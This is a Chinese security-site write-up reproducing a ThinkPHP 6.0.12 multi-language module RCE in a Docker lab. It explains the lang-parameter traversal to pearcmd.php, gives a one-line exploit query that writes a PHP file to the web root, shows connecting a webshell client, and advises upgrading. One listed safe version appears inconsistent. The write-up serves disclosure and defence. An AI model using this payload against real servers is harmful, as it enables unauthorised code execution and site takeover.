freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

ThinkPHP V6.0.12LTS多语言模块RCE
2022-12-11 02:07:35
所属地 北京

1、简介

ThinkPHP,是为了简化企业级应用开发和敏捷WEB应用开发而诞生的开源轻量级PHP框架。最早诞生于2006年初,2007年元旦正式更名为ThinkPHP,并且遵循Apache2开源协议发布。ThinkPHP从诞生以来一直秉承简洁实用的设计原则,在保持出色的性能和至简的代码的同时,也注重易用性。并且拥有众多原创功能和特性,在社区团队的积极参与下,在易用性、扩展性和性能方面不断优化和改进。

2、产生原因

程序本身开启了多语言功能,攻击者可以通过get,post,header,cookie等位置传入参数。实现目录穿越+文件包含,通过pearcmd文件包含这个trick即可实现RCE。

3、影响范围

v6.0.1 < Thinkphp < v6.0.13
Thinkphp v5.0.x
Thinkphp v5.1.x

4、环境搭建

docker pull vulfocus/thinkphp:6.0.12

image

我们访问漏洞环境。

image

打开环境。

访问链接:http://192.168.61.128:55543/public/index.php

image

EXP如下:

?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/+/var/www/html/a.php

5、漏洞复现

image

我们蚁剑进行连接。

image

image

这里主要是利用pearcmd.php这个pecl/pear中的文件。pecl是PHP中用于管理扩展而使用的命令行工具,而pear是pecl依赖的类库。在7.3及以前,pecl/pear是默认安装的;在7.4及以后,需要我们在编译PHP的时候指定--with-pear才会安装。 不过,在Docker任意版本镜像中,pcel/pear都会被默认安装,安装的路径在/usr/local/lib/php。由此看来该漏洞对Docker中运行的启用了多语言模块的ThinkPHP影响较大。

6、修复建议

升级到最新版本
安全版本:
1)ThinkPHP>=6.0.14
2)ThinkPHP>=2.1.42

# 漏洞复现
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者